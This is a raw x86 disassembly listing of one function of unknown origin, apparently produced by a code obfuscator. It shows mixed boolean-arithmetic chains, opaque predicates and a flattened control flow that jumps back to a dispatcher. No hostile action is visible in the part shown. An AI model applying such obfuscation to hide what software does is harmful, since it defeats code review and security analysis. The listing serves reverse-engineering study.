mov dl, byte [ebp - 0x1c480]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov dh, al
xor dh, 0xff
mov cl, ah
and cl, dh
xor ah, 0xff
and al, ah
or cl, al
mov al, 1
xor al, 0
mov dh, dl
xor dh, 0xff
mov ah, 1
xor ah, 1
or al, dh
or ah, 1
xor al, 0xff
and al, ah
mov ah, 1
xor ah, 0
mov bh, dl
and bh, ah
xor dl, 0xff
and dl, 0
or bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1c47f], dh
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov bl, ah
and bl, 0
and bh, dl
or dh, al
mov al, byte [ebp - 0x1c47f]
or bl, bh
xor dh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b48c1b1
mov ecx, 0x119334c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov ecx, dword [ebp - 0x1b640]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf34fbfe8
mov esi, 0xffffffff
xor esi, 0xf34fbfe8
mov edi, ecx
and edi, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xf34fbfe8
and esi, 0xffffffff
or eax, edi
or edx, esi
xor eax, edx
xor eax, 0xffffffff
xor eax, 0x8169eeda
and eax, 0x8169eeda
mov edi, 0xffffffff
xor edi, 0x8169eeda
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x8169eeda
or edi, edx
xor ecx, 0xffffffff
mov esi, edi
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x47b47f80
or ecx, esi
or edx, 0x47b47f80
xor ecx, 0xffffffff
and ecx, edx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or ebx, edx
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x8169eeda
mov edx, 0xffffffff
xor edx, 0x5abc6cee
or ebx, esi
or edx, 0x5abc6cee
xor ebx, 0xffffffff
and ebx, edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5371b05c
or edx, edi
or esi, 0x5371b05c
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x1c548], edx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x1c54c], edx
mov edi, ecx
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x98a6f896
and edx, 0x98a6f896
and eax, esi
mov dword [ebp - 0x1c554], eax
mov eax, edi
and eax, 0x98a6f896
mov dword [ebp - 0x1c550], eax
mov eax, dword [ebp - 0x1c554]
and ecx, esi
or edx, eax
mov eax, dword [ebp - 0x1c550]
or eax, ecx
mov ecx, dword [ebp - 0x1c54c]
xor edx, eax
mov eax, dword [ebp - 0x1c548]
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x98a6f896
and ecx, esi
or edx, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov dword [ebp - 0x1c53c], ecx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x532c2cb
and ecx, 0x532c2cb
and ebx, esi
mov dword [ebp - 0x1c544], ebx
mov ebx, edi
and ebx, 0x532c2cb
and eax, esi
mov dword [ebp - 0x1c540], eax
mov eax, dword [ebp - 0x1c544]
or ecx, eax
mov eax, dword [ebp - 0x1c540]
or ebx, eax
mov eax, dword [ebp - 0x1c53c]
xor ecx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0x532c2cb
and eax, esi
or ecx, eax
mov edi, edx
xor edi, 0xffffffff
and edi, 0x3659bfce
mov esi, 0xffffffff
xor esi, 0x3659bfce
and edx, esi
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3659bfce
and ecx, esi
or edi, edx
or eax, ecx
xor edi, eax
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0x3134ff11
mov ecx, 0xffffffff
xor ecx, 0x3134ff11
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3134ff11
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0x9192508
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x309cdf61
or eax, edx
or ecx, 0x309cdf61
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x1c538], eax
mov ebx, 0xffffffff
xor ebx, 0x9192508
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9192508
or ebx, eax
mov ecx, ebx
xor ecx, 0xffffffff
xor ecx, 0x40000000
and ecx, 0x40000000
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x9192508
mov esi, 0xffffffff
xor esi, 0x4178b782
or edx, eax
mov eax, dword [ebp - 0x1c538]
or esi, 0x4178b782
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x1c52c], edx
mov edx, 0xffffffff
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xf278388b
or edx, ebx
or esi, 0xf278388b
xor edx, 0xffffffff
and edx, esi
mov dword [ebp - 0x1c524], edx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x1c528], edx
mov ebx, ecx
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xe6470c5
and edx, 0xe6470c5
and eax, esi
mov dword [ebp - 0x1c534], eax
mov eax, ebx
and eax, 0xe6470c5
mov dword [ebp - 0x1c530], eax
mov eax, dword [ebp - 0x1c534]
and ecx, esi
or edx, eax
mov eax, dword [ebp - 0x1c530]
or eax, ecx
mov ecx, dword [ebp - 0x1c52c]
xor edx, eax
mov eax, dword [ebp - 0x1c528]
or eax, ebx
mov ebx, dword [ebp - 0x1c524]
xor eax, 0xffffffff
or esi, 0xe6470c5
and eax, esi
or edx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1c510], eax
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5e32417e
and eax, 0x5e32417e
mov dword [ebp - 0x1c520], eax
and ecx, esi
mov eax, ebx
and eax, 0x5e32417e
mov dword [ebp - 0x1c518], eax
mov eax, dword [ebp - 0x1c524]
and eax, esi
mov dword [ebp - 0x1c51c], eax
mov eax, dword [ebp - 0x1c520]
or eax, ecx
mov ecx, dword [ebp - 0x1c51c]
mov dword [ebp - 0x1c514], eax
mov eax, dword [ebp - 0x1c518]
or eax, ecx
mov ecx, dword [ebp - 0x1c514]
xor ecx, eax
mov eax, dword [ebp - 0x1c510]
or eax, ebx
xor eax, 0xffffffff
or esi, 0x5e32417e
and eax, esi
or ecx, eax
mov esi, edx
xor esi, 0xffffffff
and esi, 0x886cbfb1
mov ebx, 0xffffffff
xor ebx, 0x886cbfb1
and edx, ebx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x886cbfb1
and ecx, ebx
or esi, edx
or eax, ecx
xor esi, eax
mov ebx, 0xffffffff
xor ebx, 0x74d0787a
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x74d0787a
or ebx, eax
xor ebx, 0xffffffff
xor ebx, 0xe67393a6
and ebx, 0xe67393a6
mov ecx, 0xffffffff
xor ecx, 0xe67393a6
and ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xe67393a6
or ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor eax, 0x74d0787a
and eax, 0x74d0787a
mov dword [ebp - 0x1c504], eax
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xe67393a6
mov dword [ebp - 0x1c50c], eax
mov eax, 0xffffffff
xor eax, 0xd4ce794a
mov dword [ebp - 0x1c508], eax
mov eax, dword [ebp - 0x1c50c]
or edx, eax
mov eax, dword [ebp - 0x1c508]
or eax, 0xd4ce794a
xor edx, 0xffffffff
and edx, eax
mov eax, dword [ebp - 0x1c504]
mov dword [ebp - 0x1c500], edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, ebx
and edx, eax
xor ebx, eax
mov eax, dword [ebp - 0x1c500]
or edx, ebx
mov dword [ebp - 0x1c4ec], edx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x1c4f0], edx
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x1c4f4], ebx
mov ebx, 0xffffffff
xor ebx, 0xfe1bd90f
and edx, 0xfe1bd90f
and eax, ebx
mov dword [ebp - 0x1c4fc], eax
mov eax, dword [ebp - 0x1c4f4]
and eax, 0xfe1bd90f
mov dword [ebp - 0x1c4f8], eax
mov eax, dword [ebp - 0x1c4fc]
and ecx, ebx
or edx, eax
mov eax, dword [ebp - 0x1c4f8]
or eax, ecx
mov ecx, dword [ebp - 0x1c4f4]
xor edx, eax
mov eax, dword [ebp - 0x1c4f0]
or eax, ecx
mov ecx, dword [ebp - 0x1c4ec]
xor eax, 0xffffffff
or ebx, 0xfe1bd90f
and eax, ebx
or edx, eax
mov ebx, ecx
xor ebx, 0xffffffff
mov eax, edx
and eax, ebx
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov dword [ebp - 0x1c4e4], eax
mov ecx, edi
xor ecx, 0xffffffff
mov edx, esi
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5bab2c67
or ecx, edx
or eax, 0x5bab2c67
xor ecx, 0xffffffff
and ecx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x8b7570c
mov ebx, 0xffffffff
xor ebx, 0x8b7570c
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0x8b7570c
and esi, ebx
or eax, edi
or edx, esi
xor eax, edx
mov edx, ecx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x9f40df94
mov ebx, edx
and ebx, 0x9f40df94
mov dword [ebp - 0x1c4e8], ebx
and ecx, esi
mov ebx, edi
and ebx, 0x9f40df94
and eax, esi
mov dword [ebp - 0x1c4e0], eax
mov eax, dword [ebp - 0x1c4e8]
or eax, ecx
mov ecx, dword [ebp - 0x1c4e4]
mov dword [ebp - 0x1c4dc], eax
mov eax, dword [ebp - 0x1c4e0]
or ebx, eax
mov eax, dword [ebp - 0x1c4dc]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x9f40df94
and edx, esi
or eax, edx
mov dword [ebp - 0x1c4ac], eax
mov edx, 0xffffffff
xor edx, 0x74d0787a
and edx, 0x9d77a4a6
mov esi, 0xffffffff
xor esi, 0x9d77a4a6
mov edi, esi
and edi, 0x74d0787a
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9d77a4a6
and esi, 0xffffffff
or edx, edi
or eax, esi
xor edx, eax
mov dword [ebp - 0x1c4b8], edx
mov edi, ecx
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov eax, ecx
and eax, esi
or edi, eax
mov ebx, 0xffffffff
xor ebx, 0x1ca1d00b
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x1ca1d00b
or ebx, eax
mov dword [ebp - 0x1c4bc], ebx
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x1ca1d00b
mov eax, 0xffffffff
xor eax, 0xf8f3633f
or edx, esi
or eax, 0xf8f3633f
xor edx, 0xffffffff
and edx, eax
xor ebx, 0xffffffff
xor ebx, 0x74d0787a
and ebx, 0x74d0787a
mov esi, edi
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x1ca1d00b
mov dword [ebp - 0x1c4d8], eax
mov eax, 0xffffffff
xor eax, 0xf309bf18
mov dword [ebp - 0x1c4d4], eax
mov eax, dword [ebp - 0x1c4d8]
or esi, eax
mov eax, dword [ebp - 0x1c4d4]
or eax, 0xf309bf18
xor esi, 0xffffffff
and esi, eax
mov eax, dword [ebp - 0x1c4bc]
mov dword [ebp - 0x1c4d0], esi
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x11b3428c
or ecx, eax
mov eax, dword [ebp - 0x1c4d0]
or esi, 0x11b3428c
xor ecx, 0xffffffff
and ecx, esi
mov esi, edx
and esi, ebx
xor edx, ebx
or esi, edx
mov ebx, eax
xor ebx, 0xffffffff
mov dword [ebp - 0x1c4c0], ebx
mov edx, ecx
xor edx, 0xffffffff
mov dword [ebp - 0x1c4c4], edx
mov edx, 0xffffffff
xor edx, 0x8d8028a
and ebx, 0x8d8028a
and eax, edx
mov dword [ebp - 0x1c4cc], eax
mov eax, dword [ebp - 0x1c4c4]
and eax, 0x8d8028a
mov dword [ebp - 0x1c4c8], eax
mov eax, dword [ebp - 0x1c4cc]
and ecx, edx
or ebx, eax
mov eax, dword [ebp - 0x1c4c8]
or eax, ecx
mov ecx, dword [ebp - 0x1c4c4]
xor ebx, eax
mov eax, dword [ebp - 0x1c4c0]
or eax, ecx
mov ecx, dword [ebp - 0x1c4bc]
xor eax, 0xffffffff
or edx, 0x8d8028a
and eax, edx
or ebx, eax
mov eax, esi
xor eax, 0xffffffff
mov edx, ebx
and edx, eax
mov eax, dword [ebp - 0x1c4b8]
xor ebx, 0xffffffff
and esi, ebx
or edx, esi
mov esi, eax
and esi, edi
xor eax, edi
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xffffffff
and esi, edi
or eax, esi
mov dword [ebp - 0x1c4a4], eax
mov esi, 0xffffffff
xor esi, 0x1ca1d00b
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x1c4a8], eax
mov ebx, 0xffffffff
xor ebx, 0x42d73f4a
mov edi, esi
and edi, 0x42d73f4a
mov eax, ebx
and eax, 0x1ca1d00b
mov dword [ebp - 0x1c4b4], eax
mov eax, dword [ebp - 0x1c4a8]
and eax, 0x42d73f4a
mov dword [ebp - 0x1c4b0], eax
mov eax, dword [ebp - 0x1c4b4]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0x1c4b0]
or eax, ecx
mov ecx, dword [ebp - 0x1c4ac]
xor edi, eax
mov eax, dword [ebp - 0x1c4a8]
or esi, eax
mov eax, dword [ebp - 0x1c4a4]
xor esi, 0xffffffff
or ebx, 0x42d73f4a
and esi, ebx
or edi, esi
xor edi, 0xffffffff
mov esi, eax
xor esi, edi
and esi, eax
mov eax, edx
and eax, esi
xor edx, esi
or eax, edx
mov dword [ebp - 0x1c490], eax
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x9d41e7ef
mov edx, 0xffffffff
xor edx, 0x9d41e7ef
mov edi, ecx
and edi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9d41e7ef
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, 0xffffffff
xor eax, 0x7ac18e71
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3d1e0351
or eax, esi
or edx, 0x3d1e0351
xor eax, 0xffffffff
and eax, edx
mov edi, 0xffffffff
xor edi, 0x7ac18e71
and edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7ac18e71
or edi, edx
xor ecx, 0xffffffff
mov esi, edi
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x604ed12e
or ecx, esi
or edx, 0x604ed12e
xor ecx, 0xffffffff
and ecx, edx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or esi, edx
mov ebx, 0xffffffff
xor ebx, 0x7ac18e71
mov edx, esi
xor edx, ebx
and edx, esi
mov dword [ebp - 0x1c498], edx
xor edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
mov dword [ebp - 0x1c494], edx
mov ebx, 0xffffffff
xor ebx, 0x75dc7ccc
mov edx, esi
and edx, 0x75dc7ccc
and eax, ebx
mov dword [ebp - 0x1c4a0], eax
mov eax, dword [ebp - 0x1c494]
and eax, 0x75dc7ccc
mov dword [ebp - 0x1c49c], eax
mov eax, dword [ebp - 0x1c4a0]
and ecx, ebx
or edx, eax
mov eax, dword [ebp - 0x1c49c]
or eax, ecx
mov ecx, dword [ebp - 0x1c498]
xor edx, eax
mov eax, dword [ebp - 0x1c494]
or esi, eax
mov eax, dword [ebp - 0x1c490]
xor esi, 0xffffffff
or ebx, 0x75dc7ccc
and esi, ebx
or edx, esi
mov esi, ecx
and esi, edi
xor ecx, edi
or esi, ecx
mov edi, edx
xor edi, 0xffffffff
mov ecx, esi
and ecx, edi
xor esi, 0xffffffff
and edx, esi
or ecx, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov edx, ecx
xor edx, 0xffffffff
mov eax, esi
and eax, edx
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
or eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x4cd8c311
mov ecx, 0xd25622c6
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xa1564f81
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xcaee936b
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, ecx
add edx, 0xda19bf87
sub edx, 0xd86554d1
sub edx, 0xda19bf87
add edx, 0xbc5e5c5
sub edx, 0xf788ba9
sub edx, 0xbc5e5c5
sub edx, 0xdabb325f
add edx, 0xd86554d1
add edx, 0xdabb325f
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x70969411
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xf788ba9
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x8393aedb
sub edx, 0x70969411
sub edx, 0x8393aedb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ch, dl
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov byte [ebp - 0x1c586], al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov bh, 1
xor bh, 1
xor ah, 0xff
mov al, 1
xor al, 1
or bh, ah
or al, 1
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov al, cl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and bh, dh
mov byte [ebp - 0x1c598], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1c597], al
mov al, byte [ebp - 0x1c598]
or ah, al
mov al, byte [ebp - 0x1c597]
or bh, al
mov al, byte [ebp - 0x1c586]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov byte [ebp - 0x1c58a], ah
mov dh, 1
xor dh, 1
and dh, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov ch, 1
xor ch, 1
xor dh, 0xff
mov ah, 1
xor ah, 0
or ch, dh
or ah, 0
xor ch, 0xff
and ch, ah
mov bl, 1
xor bl, 1
and bl, 1
mov ah, 1
xor ah, 1
and ah, 1
or bl, ah
mov dh, 1
xor dh, 1
xor bl, 0xff
mov ah, 1
xor ah, 0
or dh, bl
or ah, 0
xor dh, 0xff
and dh, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0x1c582], ah
mov bl, al
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and al, ah
or bl, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov ah, 1
xor ah, 0
and ah, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bh
or ch, dh
xor ah, ch
mov byte [ebp - 0x1c594], ah
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bh, ah
and bh, 0xff
and bl, ch
mov byte [ebp - 0x1c596], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x1c595], al
mov al, byte [ebp - 0x1c596]
or bh, al
mov al, byte [ebp - 0x1c595]
or bl, al
mov al, byte [ebp - 0x1c594]
xor bh, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or bh, ah
mov ah, 1
xor ah, 0
mov byte [ebp - 0x1c591], ah
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and ah, 0
mov ch, dh
and ch, 0
mov byte [ebp - 0x1c593], ch
mov ch, bl
and ch, 0
and al, dh
mov byte [ebp - 0x1c592], al
mov al, byte [ebp - 0x1c593]
or ah, al
mov al, byte [ebp - 0x1c592]
or ch, al
mov al, byte [ebp - 0x1c591]
xor ah, ch
mov ch, byte [ebp - 0x1c582]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ah, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or al, bh
or dh, bl
xor al, dh
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov bh, ch
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov al, dl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov ah, dl
and ah, ch
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, ch
mov ch, byte [ebp - 0x1c582]
or al, ah
mov ah, byte [ebp - 0x1c58a]
or dh, bh
xor al, dh
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, ah
xor al, 0xff
mov dl, bh
and dl, al
xor bh, 0xff
mov al, ah
and al, bh
or dl, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov byte [ebp - 0x1c590], al
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ah, 1
xor ah, 0
and ah, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x1c590]
or ch, bh
xor ah, ch
mov byte [ebp - 0x1c58c], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c58d], ah
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and al, ch
mov byte [ebp - 0x1c58f], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c58e], al
mov al, byte [ebp - 0x1c58f]
and cl, ch
or ah, al
mov al, byte [ebp - 0x1c58e]
or al, cl
mov cl, byte [ebp - 0x1c58d]
xor ah, al
mov al, byte [ebp - 0x1c58c]
or cl, bh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, bl
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov al, 1
xor al, 0
or cl, ch
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or al, bl
or ch, dh
xor al, ch
mov ch, cl
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ch
and bh, 0xff
mov byte [ebp - 0x1c58b], bh
and cl, dh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1c589], al
mov al, byte [ebp - 0x1c58b]
or al, cl
mov cl, byte [ebp - 0x1c58a]
mov byte [ebp - 0x1c588], al
mov al, byte [ebp - 0x1c589]
or bh, al
mov al, byte [ebp - 0x1c588]
xor al, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or al, ch
mov byte [ebp - 0x1c587], al
mov al, dl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dl
xor ch, 0xff
mov bh, ah
and bh, ch
xor ah, 0xff
and dl, ah
or bh, dl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or dh, al
mov al, byte [ebp - 0x1c587]
or bl, bh
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or ch, dl
mov ah, 1
xor ah, 0
xor ch, 0xff
mov dl, 1
xor dl, 0
or ah, ch
or dl, 0
xor ah, 0xff
and ah, dl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or ch, al
mov al, 1
xor al, 0
mov dl, ch
xor dl, al
mov al, byte [ebp - 0x1c586]
and dl, ch
xor dh, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or dh, bh
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dh, ch
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and ch, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or dh, ch
or dl, ah
xor dh, dl
mov dl, cl
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, al
xor dl, 0xff
mov bl, cl
and bl, dl
xor cl, 0xff
and al, cl
or bl, al
mov cl, bh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov al, cl
and al, 0xff
and bh, dl
mov ch, ah
and ch, 0xff
and bl, dl
or al, bh
or ch, bl
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov ah, al
xor ah, 0xff
and ah, 0
mov dl, 1
xor dl, 0
mov ch, al
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov dl, 1
xor dl, 0
xor ah, 0xff
mov cl, 1
xor cl, 0
or dl, ah
or cl, 0
xor dl, 0xff
and dl, cl
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
